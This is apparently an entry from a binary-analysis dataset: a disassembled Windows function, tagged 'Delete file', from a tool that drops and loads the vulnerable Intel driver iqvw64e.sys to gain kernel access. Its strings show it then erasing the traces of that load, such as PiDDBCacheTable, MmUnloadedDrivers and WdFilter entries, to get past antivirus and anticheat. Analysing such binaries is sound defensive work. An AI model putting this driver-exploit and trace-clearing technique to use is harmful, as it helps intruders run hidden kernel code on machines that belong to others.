Function at 0x401790
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x410f6e
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x422040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, esi
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
push 0
push 0x80
push 3
push 0
push 0
push 0
push 0x412544
call dword [sym.imp.KERNEL32.dll_CreateFileW]
test eax, eax
je 0x40182c
cmp eax, 0xffffffff
je 0x40182c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.____DeviceNal_is_already_in_use.
call fcn.00405ed0
push 0x406100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
or eax, 0xffffffff
jmp 0x401c2f
push 0x64
push 0
push 0x4227c8
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x14
idiv ecx
xor esi, esi
lea edi, [edx + 0xa]
test edi, edi
jle 0x401874
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor edx, edx
mov ecx, 0x34
div ecx
mov al, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov byte [esi + 0x4227c8], al
inc esi
cmp esi, edi
jl 0x401854
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.____Loading_vulnerable_driver__Name:
call fcn.00405ed0
lea ecx, [ebp - 0x150]
mov esi, eax
call fcn.00401240
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 7
mov ecx, dword [eax + 0x10]
jbe 0x4018a3
mov eax, dword [eax]
push ecx
mov edx, eax
mov ecx, esi
call fcn.00409150
add esp, 4
mov ecx, eax
push 0x406100
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x13c]
cmp ecx, 7
jbe 0x401906
mov edx, dword [ebp - 0x150]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4018fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4018fc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040fe5c
add esp, 8
lea ecx, [ebp - 0x28]
call fcn.00401480
mov dword [ebp - 4], 1
cmp dword [ebp - 0x18], 0
jne 0x40193d
mov edx, str.____Cant_find_TEMP_folder
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.00405ed0
push 0x406100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
jmp 0x401bee
cmp dword [ebp - 0x14], 7
lea eax, [ebp - 0x28]
mov esi, dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
cmova eax, dword [ebp - 0x28]
push eax
call esi
push 0xb0
lea eax, [ebp - 0xd8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x14], 7
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0xd8]
cmova eax, dword [ebp - 0x28]
add esp, 4
push eax
call fcn.004058b0
push 0
push 0x8708
push 0x414448
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 2
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
lea ecx, [ebp - 0xd4]
test al, al
je 0x4019ec
call fcn.00405cb0
test eax, eax
jne 0x4019d3
mov eax, dword [ebp - 0xd8]
lea ecx, [ebp - 0xd8]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 1
call fcn.00402490
mov edx, str.____Failed_to_create_vulnerable_driver_file
jmp 0x401920
call fcn.00405cb0
test eax, eax
jne 0x401a0e
mov eax, dword [ebp - 0xd8]
lea ecx, [ebp - 0xd8]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0xd8]
mov byte [ebp - 4], 1
call fcn.00402490
lea ecx, [ebp - 0x28]
call fcn.0040ea00
test al, al
jne 0x401a5c
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
call fcn.00405ed0
push 0x406100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
cmp dword [ebp - 0x14], 7
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push eax
call esi
add esp, 4
jmp 0x401bee
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push 0x412544
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
test esi, esi
je 0x401bca
cmp esi, 0xffffffff
je 0x401bca
push 0xc
xorps xmm0, xmm0
mov dword [ebp - 0x120], 0
push 0x412754
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x11c], 0
movups xmmword [ebp - 0x130], xmm0
call fcn.00408b20
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 3
call fcn.0040f170
mov byte [ebp - 4], 1
mov edi, eax
mov ecx, dword [ebp - 0x11c]
mov dword [0x422830], edi
mov dword [0x422834], edx
cmp ecx, 0xf
jbe 0x401b1f
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401b0f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401b0f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040fe5c
mov edi, dword [0x422830]
add esp, 8
mov eax, edi
or eax, dword [0x422834]
jne 0x401b33
mov edx, str.____Failed_to_get_ntoskrnl.exe
jmp 0x401bcf
push 0x40
lea eax, [ebp - 0x118]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0
push 0x40
push dword [0x422834]
lea edx, [ebp - 0x118]
mov ecx, esi
push edi
call fcn.00402550
add esp, 0x1c
test al, al
je 0x401bc3
mov eax, 0x5a4d
cmp word [ebp - 0x118], ax
jne 0x401bc3
mov ecx, esi
call fcn.00403be0
test al, al
jne 0x401b82
mov edx, str.____Failed_to_ClearPiDDBCacheTable
jmp 0x401bcf
mov ecx, esi
call fcn.00404450
test al, al
jne 0x401b94
mov edx, str.____Failed_to_ClearKernelHashBucketList
jmp 0x401bcf
mov ecx, esi
call fcn.004032b0
test al, al
jne 0x401ba6
mov edx, str.____Failed_to_ClearMmUnloadedDrivers
jmp 0x401bcf
mov ecx, esi
call fcn.00401c50
test al, al
jne 0x401bf1
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.____Failed_to_ClearWdFilterDriverList
call fcn.00406130
jmp 0x401bda
mov edx, str.____Cant_exploit_intel_driver__is_there_any_antivirus_or_anticheat_running_
jmp 0x401bcf
mov edx, str.____Failed_to_load_driver_iqvw64e.sys
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.00405ed0
push 0x406100
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
mov ecx, esi
call fcn.00402200
or esi, 0xffffffff
mov ecx, dword [ebp - 0x14]
cmp ecx, 7
jbe 0x401c2d
mov edx, dword [ebp - 0x28]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x401c23
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x401c23
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040fe5c
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040fd39
mov esp, ebp
pop ebp
ret